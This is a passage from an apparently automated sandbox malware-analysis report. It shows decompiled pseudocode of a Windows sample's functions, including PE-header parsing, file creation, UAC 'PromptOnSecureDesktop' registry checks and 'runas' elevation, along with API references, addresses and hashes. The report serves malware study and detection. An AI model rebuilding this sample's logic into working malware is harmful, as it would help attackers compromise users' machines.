						goto L30;
					} else {
						if(E0040F0E4(_t168 - 0x95c, _t168 - 0x195c, 0x800) == 0) {
							 *0x41217c = _t161;
							_t167 = _t165 | 0x61080107;
							L30:
							 *0x412180 = _t167;
							goto L31;
						}
						_t97 = E004018E0(0xc8, _t168 - 0x195c, _t168 + 0x5c, _t168 + 0x78);
						if(_t97 == _t161) {
							_t155 =  *(_t168 + 0x78) | 0x61080000;
							 *0x412180 = _t155;
							 *0x41217c =  *(_t168 + 0x5c);
							if(_t155 != 0) {
								 *0x412180 = _t155 | _t165;
							}
						}
						goto L42;
					}
				} else {
					goto L33;
				}
			}

0x00409326
0x00409327
0x00409330
0x00409339
0x00409348
0x00409358
0x0040935c
0x0040935c
0x0040935c
0x0040934a
0x00409353
0x00409353
0x00409375
0x0040937d
0x0040937f
0x0040937f
0x0040938c
0x00409394
0x004093a2
0x004093d9
0x004093dc
0x004093dd
0x004093e0
0x004093e3
0x004093e6
0x004093e9
0x004093ec
0x0040940c
0x00409412
0x004093a4
0x004093a4
0x004093a5
0x004093a8
0x004093ab
0x004093ae
0x004093b1
0x004093ce
0x004093d4
0x004093d4
0x0040941d
0x00409420
0x00409425
0x0040942c
0x00409441
0x0040945d
0x0040946b
0x0040948d
0x0040949b
0x004094a0
0x004094a0
0x004094a3
0x004094a7
0x004094b0
0x004094b3
0x0040962f
0x00409632
0x00409632
0x00409634
0x00409634
0x00409637
0x0040967b
0x00409681
0x00409682
0x00409683
0x00409683
0x0040968a
0x00409690
0x00409692
0x00409692
0x00409692
0x0040969a
0x0040969d
0x0040969d
0x004096a0
0x004096a2
0x004096a9
0x004096a9
0x00409641
0x00409648
0x0040964a
0x00409673
0x00409674
0x00000000
0x00409674
0x00409652
0x00409652
0x00409657
0x0040965c
0x00409662
0x00409666
0x00409666
0x0040962b
0x0040962b
0x00000000
0x0040962b
0x004094ce
0x004094d5
0x004094dc
0x004094e3
0x004094e8
0x004094f1
0x004094f9
0x0040951a
0x0040951f
0x00409526
0x0040952c
0x0040952e
0x00409551
0x00409556
0x0040955d
0x00409563
0x00409565
0x00409567
0x00409567
0x00409530
0x00409530
0x00409530
0x00409571
0x00409577
0x004094fb
0x004094fb
0x004094fb
0x0040957a
0x0040957f
0x0040958d
0x00000000
0x00000000
0x00409597
0x0040959a
0x0040961a
0x0040961f
0x0040961f
0x00000000
0x004095a3
0x004095c0
0x0040960c
0x00409612
0x00409625
0x00409625
0x00000000
0x00409625
0x004095d1
0x004095db
0x004095e7
0x004095ed
0x004095f3
0x004095f9
0x00409601
0x00409601
0x004095f9
0x00000000
0x004095db
0x00000000
0x00000000
0x00000000

APIs

GetVersionExA.KERNEL32(?,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 0040936E
GetModuleFileNameA.KERNEL32(00000000,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409375
wsprintfA.USER32 ref: 004093CE
wsprintfA.USER32 ref: 0040940C
wsprintfA.USER32 ref: 0040948D
RegOpenKeyExA.KERNELBASE(80000002,00000000,?,?,00000000,00000101,?), ref: 004094F1
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409526
RegCloseKey.KERNELBASE(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409571

Strings

PromptOnSecureDesktop, xrefs: 0040938A, 0040939D, 004093BD, 004093FB, 0040941C, 0040944F, 00409478, 0040949A, 004094CD, 00409519, 00409550
runas, xrefs: 00409674
Mt, xrefs: 0040936E

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop$runas$Mt
API String ID: 3696105349-441857510
Opcode ID: f02c357166c3b313ad7239a7b995eba94aec5ffd6a368f7d9b7db17d98fb20e2
Instruction ID: 7d6f16c0e63263610e399f3f049f45e0da260e43ae629b5557d7a5820381a87a
Opcode Fuzzy Hash: f02c357166c3b313ad7239a7b995eba94aec5ffd6a368f7d9b7db17d98fb20e2
Instruction Fuzzy Hash: 51A171B2540208BBEB21DFA1CC45FDF3BACAB44344F104437FA05E6192D7B999848FA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040675C, Relevance: 19.7, APIs: 13, Instructions: 199
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040675C(CHAR* _a4, long* _a8, long _a12) {
				long _v8;
				void* _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				struct _OVERLAPPED* _v24;
				long _v28;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v60;
				void _v68;
				long _v72;
				void _v132;
				intOrPtr _v320;
				signed int _v360;
				signed int _v374;
				void _v380;
				void* _t85;
				long _t88;
				int _t92;
				long _t93;
				int _t96;
				long _t99;
				long _t102;
				struct _OVERLAPPED* _t103;
				long _t104;
				long _t115;
				long _t120;
				signed int _t143;
				void* _t146;

				_v16 = 0;
				_v8 = 0;
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 0x80);
				}
				_t85 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0); // executed
				_v12 = _t85;
				if(_t85 == 0xffffffff) {
					_v12 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 4, 0);
				}
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 2);
				}
				if(_v12 != 0xffffffff) {
					_t88 = GetFileSize(_v12, 0);
					_v8 = _t88;
					if(_t88 == 0xffffffff || _t88 == 0) {
						L31:
						_v8 = 0;
					} else {
						_a12 = 0;
						_v28 = 0;
						_t92 = ReadFile(_v12,  &_v132, 0x40,  &_a12, 0); // executed
						if(_t92 == 0) {
							goto L31;
						} else {
							_t93 = SetFilePointer(_v12, _v72, 0, 0); // executed
							if(_t93 == 0xffffffff) {
								goto L31;
							} else {
								_t96 = ReadFile(_v12,  &_v380, 0xf8,  &_v28, 0); // executed
								if(_t96 == 0) {
									goto L31;
								} else {
									_t99 = SetFilePointer(_v12, (_v360 & 0x0000ffff) + _v72 + 0x18, 0, 0); // executed
									if(_t99 == 0xffffffff) {
										goto L31;
									} else {
										_v20 = 0;
										_v24 = 0;
										if(0 < _v374) {
											while(1) {
												_t115 = 0x28;
												_a12 = _t115;
												if(ReadFile(_v12,  &_v68, _t115,  &_a12, 0) == 0) {
													break;
												}
												_t143 = _v374 & 0x0000ffff;
												if(_v24 != _t143 - 1) {
													_t120 = _v48 + _v52;
												} else {
													_t120 = (_v320 + _v60 - 0x00000001 &  !(_v320 - 1)) + _v48;
												}
												_a12 = _t120;
												if(_v20 < _t120) {
													_v20 = _t120;
												}
												_v24 = _v24 + 1;
												if(_v24 < _t143) {
													continue;
												} else {
												}
												goto L23;
											}
											_v8 = 0;
										}
										L23:
										if(_v24 >= (_v374 & 0x0000ffff)) {
											_t102 = _v20;
											if(_v8 > _t102) {
												_v8 = _t102;
											}
											_t103 = E0040EBCC(_v8);
											_v16 = _t103;
											if(_t103 == 0) {
												goto L31;
											} else {
												_t104 = SetFilePointer(_v12, 0, 0, 0); // executed
												if(_t104 == 0xffffffff) {
													L30:
													_v8 = 0;
													E0040EC2E(_v16);
													_v16 = 0;
												} else {
													_t146 = _v16;
													if(ReadFile(_v12, _t146, _v8,  &_v20, 0) == 0) {
														goto L30;
													} else {
														 *(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 0x10) =  *((intOrPtr*)(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 8)) + _v320 - 0x00000001 &  !(_v320 - 1);
														_v8 = _v20;
													}
												}
											}
										}
									}
								}
							}
						}
					}
					FindCloseChangeNotification(_v12); // executed
				}
				 *_a8 = _v8;
				return _v16;
			}

0x0040676a
0x0040676d
0x00406778
0x0040677e
0x0040677e
0x0040679a
0x0040679c
0x004067a2
0x004067b2
0x004067b2
0x004067b8
0x004067bf
0x004067bf
0x004067c9
0x004067d3
0x004067d9
0x004067df
0x0040696b
0x0040696b
0x004067ed
0x00406801
0x00406804
0x00406807
0x0040680b
0x00000000
0x00406811
0x0040681f
0x00406824
0x00000000
0x0040682a
0x0040683e
0x00406842
0x00000000
0x00406848
0x0040685c
0x00406861
0x00000000
0x00406867
0x00406869
0x0040686c
0x00406876
0x00406878
0x0040687a
0x00406881
0x0040688f
0x00000000
0x00000000
0x00406891
0x0040689e
0x004068ba
0x004068a0
0x004068b2
0x004068b2
0x004068bd
0x004068c3
0x004068c5
0x004068c5
0x004068c8
0x004068ce
0x00000000
0x00000000
0x004068d0
0x00000000
0x004068ce
0x004068d2
0x004068d2
0x004068d5
0x004068df
0x004068e5
0x004068eb
0x004068ed
0x004068ed
0x004068f3
0x004068f9
0x004068fe
0x00000000
0x00406900
0x00406906
0x0040690b
0x0040695a
0x0040695d
0x00406960
0x00406966
0x0040690d
0x0040690d
0x00406920
0x00000000
0x00406922
0x0040694f
0x00406955
0x00406955
0x00406920
0x0040690b
0x004068fe
0x004068df
0x00406861
0x00406842
0x00406824
0x0040680b
0x00406971
0x00406971
0x0040697f
0x00406986

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,74E043E0,00000000), ref: 0040677E
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,74E043E0,00000000), ref: 0040679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,74E043E0,00000000), ref: 004067B0
SetFileAttributesA.KERNEL32(?,00000002,?,74E043E0,00000000), ref: 004067BF
GetFileSize.KERNEL32(000000FF,00000000,?,74E043E0,00000000), ref: 004067D3
ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,74E043E0,00000000), ref: 00406807
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040681F
ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,74E043E0,00000000), ref: 0040683E
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040685C
ReadFile.KERNEL32(000000FF,?,00000028,00408244,00000000,?,74E043E0,00000000), ref: 0040688B
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000000,?,74E043E0,00000000), ref: 00406906
ReadFile.KERNEL32(000000FF,004121A8,00000000,00408244,00000000,?,74E043E0,00000000), ref: 0040691C
FindCloseChangeNotification.KERNELBASE(000000FF,?,74E043E0,00000000), ref: 00406971

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$ChangeCloseFindFreeNotificationProcessSize
String ID:
API String ID: 1400801100-0
Opcode ID: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction ID: 23622665348289c9bdc7ba1e7bdf6275147e3319f3664adf7917ee5564634b96
Opcode Fuzzy Hash: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction Fuzzy Hash: E47109B1D00219EFDB109FA5CC809EEBBB9FB04314F11457AF516B6290E7349EA2DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00406A60, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406A60(int __edx, CHAR* _a4, intOrPtr _a8, int _a12) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				void* _v12;
				long _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				long _v32;
				void* _t31;
				int _t42;
				intOrPtr _t43;
				int _t44;
				void* _t53;
				int _t59;
				CHAR* _t68;
				void* _t69;
				int _t73;

				_t59 = __edx;
				_t68 = _a4;
				_t31 = CreateFileA(_t68, 0x40000000, 0, 0, 2, 0x80, 0); // executed
				_v12 = _t31;
				if(_t31 == 0xffffffff) {
					 *0x412180 = 0x61080101;
					 *0x41217c = GetLastError();
					__eflags = 0;
					return 0;
				}
				_v8 =  *_t68;
				_v7 = _t68[1];
				_t63 = _a12;
				_v6 = _t68[2];
				_v5 = 0;
				_t42 = GetDiskFreeSpaceA( &_v8,  &_v20,  &_v24,  &_v16,  &_v32); // executed
				if(_t42 == 0) {
					L10:
					_t43 = E00406987(0x500000, _v12, _a8, _a12, _t63); // executed
					_v28 = _t43;
					if(_t43 != 0) {
						_t44 = FindCloseChangeNotification(_v12); // executed
						__eflags = _t44;
						if(_t44 != 0) {
							L15:
							return _v28;
						}
						 *0x412180 = 0x61080103;
						 *0x41217c = GetLastError();
						CloseHandle(_v12);
						L14:
						DeleteFileA(_t68);
						goto L15;
					}
					 *0x412180 = 0x61080102;
					 *0x41217c = GetLastError();
					CloseHandle(_v12);
					goto L14;
				}
				_t53 = E0040EB0E(_v20 * _v24, 0, _v16, 0);
				_t69 = _t69 + 0x10;
				_t73 = _t59;
				if(_t73 < 0) {
					goto L10;
				}
				if(_t73 > 0 || _t53 > 0x6400000) {
					_t22 = E0040ECA5() % 0x500000 + 0xa00000; // 0xa00000
					_t63 = _t22;
					goto L10;
				} else {
					__eflags = _t59;
					if(__eflags < 0) {
						goto L10;
					}
					if(__eflags > 0) {
						L9:
						_t63 = (E0040ECA5() & 0x001fffff) + 0x300000;
						__eflags = (E0040ECA5() & 0x001fffff) + 0x300000;
						goto L10;
					}
					__eflags = _t53 - 0x3200000;
					if(_t53 <= 0x3200000) {
						goto L10;
					}
					goto L9;
				}
			}

0x00406a60
0x00406a68
0x00406a7d
0x00406a83
0x00406a89
0x00406b8c
0x00406b9c
0x00406ba1
0x00000000
0x00406ba1
0x00406a91
0x00406a97
0x00406a9e
0x00406aa1
0x00406ab8
0x00406abb
0x00406ac3
0x00406b1d
0x00406b27
0x00406b2f
0x00406b34
0x00406b5f
0x00406b61
0x00406b63
0x00406b86
0x00000000
0x00406b89
0x00406b65
0x00406b78
0x00406b7d
0x00406b7f
0x00406b80
0x00000000
0x00406b80
0x00406b36
0x00406b49
0x00406b4e
0x00000000
0x00406b4e
0x00406ad2
0x00406ad7
0x00406ada
0x00406adc
0x00000000
0x00000000
0x00406ade
0x00406af5
0x00406af5
0x00000000
0x00406afd
0x00406afd
0x00406aff
0x00000000
0x00000000
0x00406b01
0x00406b0a
0x00406b17
0x00406b17
0x00000000
0x00406b17
0x00406b03
0x00406b08
0x00000000
0x00000000
0x00000000
0x00406b08

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,74E481D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80
GetLastError.KERNEL32(?,?,?,00409A60,?,?,00409E9D,?,?,?,?,?,00409E9D,?,00000022,?), ref: 00406B96

Strings

PromptOnSecureDesktop, xrefs: 00406A9D

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CloseErrorLast$FileHandle$ChangeCreateDeleteDiskFindFreeNotificationSpace
String ID: PromptOnSecureDesktop
API String ID: 1251348514-2980165447
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: 9406106fe81e47b207fd746d5c11beca6957dd7a726dfd862efddfda91f1d23f
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: 8031EEB2900108BFDF00EFA09D45ADF7F78AF48310F15807AE112F7291D674AAA08F69

Uniqueness

Uniqueness Score: -1.00%

Function 0041B640, Relevance: 16.6, APIs: 11, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B6BC
__heap_init.LIBCMTD ref: 0041B6C6

Part of subcall function 00428FE0: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B6CB,00000001), ref: 00428FF6

_fast_error_exit.LIBCMTD ref: 0041B6D4

Part of subcall function 0041B820: ___crtExitProcess.LIBCMTD ref: 0041B844

__mtinit.LIBCMTD ref: 0041B6DC
_fast_error_exit.LIBCMTD ref: 0041B6E7
__RTC_Initialize.LIBCMTD ref: 0041B6F9
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B722
___wsetargv.LIBCMTD ref: 0041B72C
__wsetenvp.LIBCMTD ref: 0041B73F
__cinit.LIBCMTD ref: 0041B754
__wwincmdln.LIBCMTD ref: 0041B771

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: e06ff71823171cd09a41a38c64a6247ad772ad8067b92faaa267bc4dd392e945
Instruction ID: ac54cb88c3ba28c9990bc4bf1e0a1f63cbf6b83743bb68e71dbe026a3e8f3813
Opcode Fuzzy Hash: e06ff71823171cd09a41a38c64a6247ad772ad8067b92faaa267bc4dd392e945
Instruction Fuzzy Hash: 0041B4B1E003189BEB00EFA2AD02B9E77B4EB54718F10012FF41997282EB795540CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041B6B5, Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B6BC
__heap_init.LIBCMTD ref: 0041B6C6

Part of subcall function 00428FE0: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B6CB,00000001), ref: 00428FF6

_fast_error_exit.LIBCMTD ref: 0041B6D4

Part of subcall function 0041B820: ___crtExitProcess.LIBCMTD ref: 0041B844

__mtinit.LIBCMTD ref: 0041B6DC
_fast_error_exit.LIBCMTD ref: 0041B6E7
__RTC_Initialize.LIBCMTD ref: 0041B6F9
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B722
___wsetargv.LIBCMTD ref: 0041B72C
__wsetenvp.LIBCMTD ref: 0041B73F
__cinit.LIBCMTD ref: 0041B754
__wwincmdln.LIBCMTD ref: 0041B771

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: cc4498c679a0e031e25314a2040a97ca21b5a19c22abbb4d86d96982280674aa
Instruction ID: 3dbd89cd58c00e882e361ea339642940128fcf46e14a621a6fe872717afabceb
Opcode Fuzzy Hash: cc4498c679a0e031e25314a2040a97ca21b5a19c22abbb4d86d96982280674aa
Instruction Fuzzy Hash: B33187B5E013249AEB00FBB2B902B9E7261EF5471CF50012FF519972C2EB799540DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0057003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0057024D

Strings

kernel32.dll, xrefs: 0057008F, 00570095
cess, xrefs: 0057018D

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 5717669d84d0f16537956db11d4a14b339c3acd7db5cc17d71a7594dd72e90b7
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 2A526974A01229DFDB64CF58D985BA8BBB1BF09304F1480D9E94DAB391DB30AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 004099D2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E004099D2(int __edx, void* __eflags, CHAR* _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, int _a20) {
				signed int _t14;
				void* _t21;
				CHAR* _t22;
				void* _t24;
				int _t25;

				_t25 = __edx;
				_t22 = _a8;
				lstrcpyA(_t22, _a4);
				E00408274(_t22);
				_push(0);
				_push(_a12);
				_t14 = E00406C6F((E0040ECA5() & 0x0000000f) << 0x00000014 | 0x00006108);
				_pop(_t24);
				_push(_t14 ^ 0x61616161);
				E0040F133();
				lstrcatA(_a12, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
				E0040EE2A(_t24, 0x4122f8, 0, 0x100);
				lstrcatA(_t22, _a12);
				_t21 = E00406A60(_t25, _t22, _a16, _a20); // executed
				return _t21;
			}

0x004099d2
0x004099d6
0x004099df
0x004099e6
0x004099ec
0x004099ee
0x00409a02
0x00409a07
0x00409a0d
0x00409a0e
0x00409a3c
0x00409a46
0x00409a52
0x00409a5b
0x00409a67

APIs

lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

Part of subcall function 00406A60: CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,74E481D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
Part of subcall function 00406A60: GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
Part of subcall function 00406A60: GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
Part of subcall function 00406A60: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
Part of subcall function 00406A60: DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80

Strings

PromptOnSecureDesktop, xrefs: 004099D9, 00409A24, 00409A29, 00409A45

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Filelstrcat$CloseCreateDeleteDiskErrorFreeHandleLastSpacelstrcpy
String ID: PromptOnSecureDesktop
API String ID: 4131120076-2980165447
Opcode ID: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction ID: 3080a8c352511dab3afe6aac1e5f9bdd01cc5e55c8c8f00722b444f0ba2a7742
Opcode Fuzzy Hash: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction Fuzzy Hash: D6018F7294020877EE106F62AC47F9F3E1DEB54718F04883AF619790D2D9BA94709A6C

Uniqueness

Uniqueness Score: -1.00%

Function 00404000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404000(CHAR* _a4, signed int* _a8) {
				void* _t3;
				long _t6;
				void* _t8;
				signed int* _t9;

				_t9 = _a8;
				_t8 = 0;
				 *_t9 =  *_t9 | 0xffffffff;
				while(1) {
					_t3 = CreateFileA(_a4, 0xc0000000, 3, 0, 3, 0x40000080, 0); // executed
					if(_t3 != 0xffffffff) {
						break;
					}
					_t6 = GetLastError();
					if(_t6 == 2 || _t6 == 3) {
						L6:
						return 0;
					} else {
						if(_t6 == 5) {
							L9:
							return 1;
						}
						Sleep(0x1f4);
						_t8 = _t8 + 1;
						if(_t8 < 0xa) {
							continue;
						}
						goto L6;
					}
				}
				 *_t9 = _t3;
				goto L9;
			}

0x00404001
0x00404006
0x00404008
0x0040400b
0x00404021
0x0040402a
0x00000000
0x00000000
0x0040402c
0x00404035
0x00404052
0x00000000
0x0040403c
0x0040403f
0x00404059
0x00000000
0x0040405b
0x00404046
0x0040404c
0x00404050
0x00000000
0x00000000
0x00000000
0x00404050
0x00404035
0x00404057
0x00000000

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,PromptOnSecureDesktop,004042B6,00000000,00000001,PromptOnSecureDesktop,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404046

Strings

PromptOnSecureDesktop, xrefs: 00404000

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID: PromptOnSecureDesktop
API String ID: 408151869-2980165447
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC54, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040EC54() {
				long _v8;
				struct _FILETIME _v16;
				signed int _t11;

				GetSystemTimeAsFileTime( &_v16);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0); // executed
				_t11 = (GetTickCount() ^ _v16.dwHighDateTime ^ _v8) & 0x7fffffff;
				 *0x4136cc = _t11;
				return _t11;
			}

0x0040ec5e
0x0040ec72
0x0040ec84
0x0040ec89
0x0040ec8f

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Strings

0t, xrefs: 0040EC78

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID: 0t
API String ID: 1209300637-1355922044
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
